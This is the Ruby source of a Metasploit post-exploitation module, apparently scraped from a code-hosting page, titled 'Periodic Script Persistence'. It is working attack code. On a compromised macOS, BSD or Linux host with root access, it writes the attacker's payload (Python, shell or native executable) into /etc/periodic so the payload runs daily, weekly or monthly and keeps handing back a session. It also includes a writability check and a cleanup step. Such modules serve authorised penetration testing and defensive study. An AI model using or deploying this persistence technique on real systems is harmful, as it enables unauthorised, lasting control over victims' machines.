Path: blob/master/modules/exploits/multi/persistence/periodic_script.rb
32071 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Exploit::EXE11include Msf::Exploit::Local::Persistence12include Msf::Exploit::Deprecated13moved_from 'exploits/multi/local/periodic_script_persistence'1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Periodic Script Persistence',20'Description' => %q{21This module will achieve persistence by writing a script to the /etc/periodic directory.22According to The Art of Mac Malware no such malware species persist in this manner (2024).23This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.24},25'License' => MSF_LICENSE,26'Author' => [27'gardnerapp',28'msutovsky-r7'29],30'References' => [31['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],32['URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'],33['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],34['ATT&CK', Mitre::Attack::Technique::T1053_SCHEDULED_TASK_JOB]35],36'DisclosureDate' => '2012-04-01',37'Privileged' => true,38'DefaultTarget' => 1, # python is the most compatible across OSes39'Targets' => [40[ 'OSX', { 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Platform' => 'osx' } ],41[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],42[ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],43[ 'Bsd', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'bsd' }]44],45'SessionTypes' => [ 'shell', 'meterpreter' ],46'Notes' => {47'Stability' => [CRASH_SAFE],48'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],49'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]50}51)52)5354register_options([55OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),56OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script']),57])5859deregister_options('WritableDir')60end6162def check63periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"6465return CheckCode::Vulnerable "#{periodic} is writable" if writable? periodic6667CheckCode::Safe "Unable to write to #{periodic}"68end6970def write_periodic_script(payload_content)71periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"7273periodic_script_name = datastore['PERIODIC_SCRIPT_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(rand(6..13)) : datastore['PERIODIC_SCRIPT_NAME']74periodic_script = File.join(periodic_dir, periodic_script_name)7576# we needed elevated privileges to create the file, so likely no need to sudo here77@clean_up_rc << "rm #{periodic_script}\n"7879fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}") unless upload_and_chmodx(periodic_script, payload_content)8081print_status "Succesfully wrote periodic script to #{periodic_script}."82end8384def install_persistence85if target['Arch'] == ARCH_PYTHON86print_status 'Getting python version & path.'8788python = cmd_exec('which python3 || which python2 || which python')8990fail_with(Failure::PayloadFailed, 'Unable to find python version. ') if python.blank? || !file?(python)9192print_good "Found python path #{python}"9394payload_bin = "#!#{python}\n#{payload.encoded}"95elsif target['Arch'] == ARCH_CMD96payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n #{payload.encoded}"97else98payload_bin = generate_payload_exe99end100101write_periodic_script payload_bin102end103end104105106